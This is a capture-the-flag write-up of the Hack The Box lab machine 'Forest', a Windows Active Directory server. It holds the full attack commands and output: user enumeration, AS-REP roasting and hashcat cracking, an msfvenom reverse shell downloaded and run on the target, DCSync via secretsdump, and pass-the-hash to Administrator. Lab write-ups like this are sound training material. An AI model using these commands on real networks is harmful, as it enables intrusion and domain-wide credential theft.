HTB: Forest

Written by

in

A windows machine named forest. Must be an Active Directory server!

Lets start with ping and nmap to see what we’ve got!

┌──(root㉿kali)-[/home/kali]
└─# ping 10.129.95.210
PING 10.129.95.210 (10.129.95.210) 56(84) bytes of data.
64 bytes from 10.129.95.210: icmp_seq=1 ttl=127 time=5.28 ms
^C
--- 10.129.95.210 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 5.279/5.279/5.279/0.000 ms
                                                                                           
┌──(root㉿kali)-[/home/kali]
└─# nmap -sV -sC -p- 10.129.95.210
Starting Nmap 7.98 ( https://nmap.org ) at 2026-01-20 12:48 -0500
Nmap scan report for 10.129.95.210
Host is up (0.0050s latency).
Not shown: 65512 closed tcp ports (reset)
PORT      STATE SERVICE      VERSION
53/tcp    open  domain       Simple DNS Plus
88/tcp    open  kerberos-sec Microsoft Windows Kerberos (server time: 2026-01-20 17:55:55Z)
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
389/tcp   open  ldap         Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds (workgroup: HTB)
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http   Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap         Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
5985/tcp  open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf       .NET Message Framing
47001/tcp open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open  msrpc        Microsoft Windows RPC
49665/tcp open  msrpc        Microsoft Windows RPC
49666/tcp open  msrpc        Microsoft Windows RPC
49667/tcp open  msrpc        Microsoft Windows RPC
49671/tcp open  msrpc        Microsoft Windows RPC
49680/tcp open  ncacn_http   Microsoft Windows RPC over HTTP 1.0
49681/tcp open  msrpc        Microsoft Windows RPC
49685/tcp open  msrpc        Microsoft Windows RPC
49700/tcp open  msrpc        Microsoft Windows RPC
Service Info: Host: FOREST; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   3.1.1: 
|_    Message signing enabled and required
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: required
| smb-os-discovery: 
|   OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)
|   Computer name: FOREST
|   NetBIOS computer name: FOREST\x00
|   Domain name: htb.local
|   Forest name: htb.local
|   FQDN: FOREST.htb.local
|_  System time: 2026-01-20T09:56:45-08:00
| smb2-time: 
|   date: 2026-01-20T17:56:47
|_  start_date: 2026-01-20T17:53:09
|_clock-skew: mean: 2h46m49s, deviation: 4h37m09s, median: 6m48s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 80.99 seconds

This tells us a lot allready, like the domain name, the hostname. Its what you might expect given the name of the box.

SMBmap doesnt seem to get any anonymous access though.

Using enum4linux i was able to enumerate usernames

enum4linux -U 10.129.95.210

user:[Administrator] rid:[0x1f4]
user:[Guest] rid:[0x1f5]
user:[krbtgt] rid:[0x1f6]
user:[DefaultAccount] rid:[0x1f7]
user:[$331000-VK4ADACQNUCA] rid:[0x463]
user:[SM_2c8eef0a09b545acb] rid:[0x464]
user:[SM_ca8c2ed5bdab4dc9b] rid:[0x465]
user:[SM_75a538d3025e4db9a] rid:[0x466]
user:[SM_681f53d4942840e18] rid:[0x467]
user:[SM_1b41c9286325456bb] rid:[0x468]
user:[SM_9b69f1b9d2cc45549] rid:[0x469]
user:[SM_7c96b981967141ebb] rid:[0x46a]
user:[SM_c75ee099d0a64c91b] rid:[0x46b]
user:[SM_1ffab36a2f5f479cb] rid:[0x46c]
user:[HealthMailboxc3d7722] rid:[0x46e]
user:[HealthMailboxfc9daad] rid:[0x46f]
user:[HealthMailboxc0a90c9] rid:[0x470]
user:[HealthMailbox670628e] rid:[0x471]
user:[HealthMailbox968e74d] rid:[0x472]
user:[HealthMailbox6ded678] rid:[0x473]
user:[HealthMailbox83d6781] rid:[0x474]
user:[HealthMailboxfd87238] rid:[0x475]
user:[HealthMailboxb01ac64] rid:[0x476]
user:[HealthMailbox7108a4e] rid:[0x477]
user:[HealthMailbox0659cc1] rid:[0x478]
user:[sebastien] rid:[0x479]
user:[lucinda] rid:[0x47a]
user:[svc-alfresco] rid:[0x47b]
user:[andy] rid:[0x47e]
user:[mark] rid:[0x47f]
user:[santi] rid:[0x480]

Lets put those in a list, using nane, find and replace to remove user:[ with nothing, and regex ].* with nothing.

Next up, lets see if any of these accounts are ASREPROASTable. This means that you can trigger kerberos to send you a message encrypted with the users password. Knowing the message (i believe its te timestamp) you can brute force the password untill you reach the same encrypted message.

Impacket has a module that you can feed all these usernames, together with the domain name and ip, to see if these accounts have this activated

impacket-GetNPUsers -no-pass -usersfile users.txt -dc-ip 10.129.95.210 htb.local/

And result!

$krb5asrep$23$svc-alfresco@HTB.LOCAL:747eab7d30f4003364d1eb3d0465e9ac$0cfdc192855a388e4376ae032e7758a66cb7b29e3d758a902c45ece898db4a777a030e26163be3a59c01f982c84bde09eb628cebc49c3a316761786fe55ee6360093d7fef32486210db7dfcd5273e9d9ddfb70cc3bcd3e3f92cd657460dd7b48a778b425b0295053ac6fc2a96de2834b453d020014fc5c39aef55484038bcbeb33d2fcbc586502206483a64ebc9f7a924df6edeb1b3efcb6605085b6fa5c0d84da038c0c252350e3282689bb5a093e261e96fa13c6945dd8a834c7383c95f8ad570ecd3d7ff96f962164a4cf125b22a90cdc90fc716c6ebd219ddae0d895f1e6684aed31db40

There we have the password for svc-alfresco! Its just still hashed/encrypted.

Lets pass that over to my main cracking machine (which is my game-pc). Sometimes cracking these passwords go by GPU which is really fast indeed.

lets first see what mode well need to crack
https://gist.github.com/CalfCrusher/6b87a738d0fe7b88e04f4a36eb6d722d

It seems to be 7500 we’ll need. But hashcat seems to identify this now itself!

.\hashcat.exe hash.txt .\rockyou.txt

And within 1 second and at the speed of almost 10 million passwords a second we instantly crack the password

Dictionary cache built:
* Filename..: .\rockyou.txt
* Passwords.: 14344391
* Bytes.....: 139921497
* Keyspace..: 14344384
* Runtime...: 0 secs

$krb5asrep$23$svc-alfresco@HTB.LOCAL:747eab7d30f4003364d1eb3d0465e9ac$0cfdc192855a388e4376ae032e7758a66cb7b29e3d758a902c45ece898db4a777a030e26163be3a59c01f982c84bde09eb628cebc49c3a316761786fe55ee6360093d7fef32486210db7dfcd5273e9d9ddfb70cc3bcd3e3f92cd657460dd7b48a778b425b0295053ac6fc2a96de2834b453d020014fc5c39aef55484038bcbeb33d2fcbc586502206483a64ebc9f7a924df6edeb1b3efcb6605085b6fa5c0d84da038c0c252350e3282689bb5a093e261e96fa13c6945dd8a834c7383c95f8ad570ecd3d7ff96f962164a4cf125b22a90cdc90fc716c6ebd219ddae0d895f1e6684aed31db40:s3rvice

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 18200 (Kerberos 5, etype 23, AS-REP)
Hash.Target......: $krb5asrep$23$svc-alfresco@HTB.LOCAL:747eab7d30f400...31db40
Time.Started.....: Tue Jan 20 19:32:00 2026 (0 secs)
Time.Estimated...: Tue Jan 20 19:32:00 2026 (0 secs)
Kernel.Feature...: Pure Kernel (password length 0-256 bytes)
Guess.Base.......: File (.\rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#01........:  8670.2 kH/s (5.75ms) @ Accel:256 Loops:1 Thr:32 Vec:1
Speed.#02........:  1312.6 kH/s (11.95ms) @ Accel:117 Loops:1 Thr:32 Vec:1
Speed.#*.........:  9982.8 kH/s
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 4334592/14344384 (30.22%)
Rejected.........: 0/4334592 (0.00%)
Restore.Point....: 3592192/14344384 (25.04%)
Restore.Sub.#01..: Salt:0 Amplifier:0-1 Iteration:0-1
Restore.Sub.#02..: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#01...: skretas -> red23913
Candidates.#02...: red2388 -> ravery75
Hardware.Mon.#01.: Temp: 36c Fan:  0% Util: 99% Core: 540MHz Mem: 405MHz Bus:16
Hardware.Mon.#02.: N/A

So: svc-alfresco:s3rvice

1st credential obtained!


lets retry some steps. See if we have some SMB access.

pretty standard right off the bat.

Lets enumerate quickly.

IPC$ and NETLOGON seem empty, but in SYSVOL we can see some things. Thinking back to the active.htb box i did not long a go, i wonder if we also get a kerberos account here.

after browsing and looking trough some file, no extra creds or anything.

Lets see if we have more users we can pinch. Now that we have one working credential, lets see if there are kerberoastable accounts.

no luck.

I believe i saw the winrm port open. Lets see if we cant connect with the account we have.

We can! And we have access to the user flag.

Now we just need to escalate our privileges.


now there’s two things i would like to try. Meterpreter exploit suggester and bloodhound.

First we created a meterpreter executable to run on the system.

┌──(root㉿kali)-[/home/kali/htb/forest]
└─# msfvenom -p windows/meterpreter/reverse_tcp lhost=10.10.15.104 lport=4444 -f exe > shell.exe

──(root㉿kali)-[/home/kali/htb/forest]
└─# python3 -m http.server                                                                         
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.129.95.210 - - [20/Jan/2026 14:15:45] "GET /shell.exe HTTP/1.1" 200 -

msf exploit(multi/handler) > set lhost 0.0.0.0
lhost => 0.0.0.0
msf exploit(multi/handler) > run
[*] Started reverse TCP handler on 0.0.0.0:4444 

================= on the target ===================

Evil-WinRM PS C:\Users\svc-alfresco\Desktop> invoke-webrequest -Uri http://10.10.15.104:8000/shell.exe -UseBasicParsing -outfile shell.exe

*Evil-WinRM* PS C:\Users\svc-alfresco\Desktop> ./shell.exe

And we get our meterpreter set up:

[*] Sending stage (188998 bytes) to 10.129.95.210
[*] Meterpreter session 1 opened (10.10.15.104:4444 -> 10.129.95.210:59201) at 2026-01-20 14:23:00 -0500

meterpreter > bg
[*] Backgrounding session 1...
msf exploit(multi/handler) > 

We background it so we can run the post exploitation scripts on it.

msf exploit(multi/handler) > use post/multi/recon/local_exploit_suggester
msf post(multi/recon/local_exploit_suggester) > show options

Module options (post/multi/recon/local_exploit_suggester):

   Name             Current Setting  Required  Description
   ----             ---------------  --------  -----------
   SESSION                           yes       The session to run this module on
   SHOWDESCRIPTION  false            yes       Displays a detailed description for
                                                the available exploits


View the full module info with the info, or info -d command.

msf post(multi/recon/local_exploit_suggester) > set session 1
session => 1
msf post(multi/recon/local_exploit_suggester) > run
[*] 10.129.95.210 - Collecting local exploits for x86/windows...
/usr/share/metasploit-framework/lib/rex/proto/ldap.rb:13: warning: already initialized constant Net::LDAP::WhoamiOid
/usr/share/metasploit-framework/vendor/bundle/ruby/3.3.0/gems/net-ldap-0.20.0/lib/net/ldap.rb:344: warning: previous definition of WhoamiOid was here
[*] 10.129.95.210 - 229 exploit checks are being tried...
[+] 10.129.95.210 - exploit/windows/local/bypassuac_comhijack: The target appears to be vulnerable.
[+] 10.129.95.210 - exploit/windows/local/bypassuac_eventvwr: The target appears to be vulnerable.
[+] 10.129.95.210 - exploit/windows/local/bypassuac_sluihijack: The target appears to be vulnerable.
[+] 10.129.95.210 - exploit/windows/local/cve_2020_0787_bits_arbitrary_file_move: The target appears to be vulnerable. Vulnerable Windows 10 v1607 build detected!
[+] 10.129.95.210 - exploit/windows/local/cve_2020_1048_printerdemon: The target appears to be vulnerable.
[+] 10.129.95.210 - exploit/windows/local/cve_2020_1337_printerdemon: The target appears to be vulnerable.
[+] 10.129.95.210 - exploit/windows/local/ms16_032_secondary_logon_handle_privesc: The service is running, but could not be validated.
[+] 10.129.95.210 - exploit/windows/local/tokenmagic: The target appears to be vulnerable.
[*] Running check method for exploit 43 / 43
[*] 10.129.95.210 - Valid modules for session 1:
============================

 #   Name                                                           Potentially Vulnerable?  Check Result
 -   ----                                                           -----------------------  ------------
 1   exploit/windows/local/bypassuac_comhijack                      Yes                      The target appears to be vulnerable.
 2   exploit/windows/local/bypassuac_eventvwr                       Yes                      The target appears to be vulnerable.
 3   exploit/windows/local/bypassuac_sluihijack                     Yes                      The target appears to be vulnerable.
 4   exploit/windows/local/cve_2020_0787_bits_arbitrary_file_move   Yes                      The target appears to be vulnerable. Vulnerable Windows 10 v1607 build detected!
 5   exploit/windows/local/cve_2020_1048_printerdemon               Yes                      The target appears to be vulnerable.
 6   exploit/windows/local/cve_2020_1337_printerdemon               Yes                      The target appears to be vulnerable.
 7   exploit/windows/local/ms16_032_secondary_logon_handle_privesc  Yes                      The service is running, but could not be validated.
 8   exploit/windows/local/tokenmagic                               Yes                      The target appears to be vulnerable.

Now we have a couple of options here. Lets test some out.

And this is the easy thing about metasploit. It makes exploitation trivial. We just run alle the exploits one by one, see if we gat more ptivileges! Its kinda crazy!

Two exploits seemed to work, but sadly, no shell. This makes me think that this isn’t the intended approach.

Lets try the bloodhound route. First ,we need to get sharphound either connected to the host. I know of only one way to run sharphound, and that’s from windows.

https://github.com/SpecterOps/SharpHound/releases


I have a windows vm preconfigured with my .ovpn.

So i switched the VPN off of my Kali, and onto my windows machine.


GOOD LORD! Did i have a hard time running the sharphound scan, and running the bloodhound instance! I managed to make a docker-compose.yml, and did the scan from my linux machine using bloodhound-python.

Read here how i did it: https://patatties.nl/?page_id=107


Now what do i like about bloodhound? You can see different links from the place where you are now in the domain, and the place you want to go.

The nodes are entities in the AD, and the arrows show what relation they have en are called edges Sometimes its just being a member of a group, sometime it can write the ACL. You can also select an entity or edge and see all kinds of information about the it.

Selecting GenericAll for example gives you information on what role it might play in an abuse scenario.

Allright. So if i see this right, we should have access, to make ourselves members of the Exchange Windows Permissions group, which in turn should be able to dcsync the domaincontroller.

First we add ourselves to the group.

Now we should be able to activate our dcsync rights. We can use bloodyAD for this.

Now we should be able to dump the users and their hashes

And here we go!

impacket-secretsdump -just-dc-ntlm 'htb.local'/'svc-alfresco':'s3rvice'@'10.129.95.210'

We have the hashes! I passed them to my hashcat instance, but that only cracked 3 passwords.

.\hashcat.exe -m 1000 .\hash.txt .\rockyou.txt -r .\rules\dive.rule

31d6cfe0d16ae931b73c59d7e0c089c0:
9248997e4ef68ca2bb47ae4e6f128668:s3rvice
483d4c70248510d8e0acb6066cd89072:plokmijnuhb

empty

s3rvice, which we allready know for svc-alfresco.

plokmijnuhb, for account: Santi.

A quick look in bloodhound seems to suggest that Santi isn’t interesting.


Before diving into the Santi account, lets see if we can’t pass the hash for administrator. Which effectively authenticates me as that account. We can use Evil-WinRM for that aswell, but instead of using

-p password

we use

-H hash

And we’re in!

And we have access to the root flag!


Conclusion

I liked this box! A lot of AD enumeration which was great. In the end, it was quite short, but i spent a lot of time getting friggin bloodhound to run reliably, get mimikatz to run well, etc. That was kinda hard. But i have the tool setup now in my own lab!

Great box! I hope there’ll be a load more like this. Good preparation foor OSCP exam i suspect!